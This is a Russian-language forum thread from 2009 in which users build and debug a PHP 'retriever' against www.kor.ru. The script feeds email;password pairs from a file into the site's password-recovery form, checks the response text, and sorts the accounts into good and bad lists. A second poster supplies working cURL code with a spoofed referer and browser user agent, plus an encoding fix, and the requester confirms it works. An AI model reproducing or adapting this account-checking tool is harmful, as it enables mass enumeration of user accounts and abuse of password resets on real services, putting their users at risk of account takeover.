PDA

Просмотр полной версии : www.kor.ru - Ретривер.


Велемир
13.09.2009, 06:07
Всем привет.Пишу тут ретривер для КОРа,но чего-то не выходит восстановить письмо.Непонятно,что за РНР скрипт обрабатывает восстановление пароля.Вот примерный код:



<?php

set_time_limit(0);

include "funcs.php";

$fp = fopen("accounts.txt","r");
$fp1 = fopen("good.txt","a+");
$fp2 = fopen("bad.txt","a+");

while(!feof($fp)) {

$str = fgets($fp,1024);
$str1 = explode(";",trim($str));
$r = retpost("http://www.kor.ru/password/recover","email=$str1[0]&submit=Вспомнить");


if(preg_match("|Пароль выслан|",$r)) {

fwrite($fp1,"$str1[0];$str1[1]\r\n");

}

else {

fwrite($fp2,"$str1[0];$str1[1]\r\n");

}


}

fclose($fp);
fclose($fp1);
fclose($fp2);

?>



Мб регулярка и пральная,но записывает в bad.txt.Подозреваю,что это из-за неправильного запроса.Других причин просто не вижу.Кто поможет ?

_==wolf==_
13.09.2009, 12:09
проверь кодировку. и для начала закоменть регулярки и сделай вывод $r, посмори что там

b3
13.09.2009, 14:16
Ну отсылает нормально правда такого мыла нет, дальше через регулярки и RETURNTRANSFER на 1 переключи.

<?php
$ch = curl_init('http://www.kor.ru/password/recover');
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_REFERER,'http://www.kor.ru/password/recover');
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cook');
curl_setopt($ch, CURLOPT_COOKIEJAR, './cook');
curl_exec($ch);
?>

Велемир
13.09.2009, 15:00
А что за %D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C ?

Велемир
13.09.2009, 15:23
Пробовал так сделать:

preg_match("|(.*)|",$r,$sam);
print_r($sam);

Возвращает еденицу(.returntransfer в 0 и 1 пробовал но бестолку.

ЗЫ: Пытался спарсить фразу 'Пароль выслан',но регулярки у меня почему-то не работают кроме (.*).Возвращает пустой массив,или кучу пустых элементов.Одно ясно,что результат возвращается,вот а почему элементарный контекстный поиск не работает...

b3
14.09.2009, 13:37
А что за %D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C ?
Кнопка =\
&submit=%D0%9...
Пытался спарсить фразу 'Пароль выслан',но регулярки у меня почему-то не работают
Потому что там UTF-8


<?php
$ch = curl_init('http://www.kor.ru/password/recover');
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER,'http://www.kor.ru/password/recover');
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
$res = curl_exec($ch);
curl_close($ch);
$txt = iconv('Windows-1251','UTF-8','Неверный адрес');
if(preg_match("#$txt#",$res))
echo 'Неверный адрес ага';
?>

ЗЫ пробелы убереш в :
submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C

Велемир
14.09.2009, 18:45
Пасип,тему мона клоцать:)Всё работает:)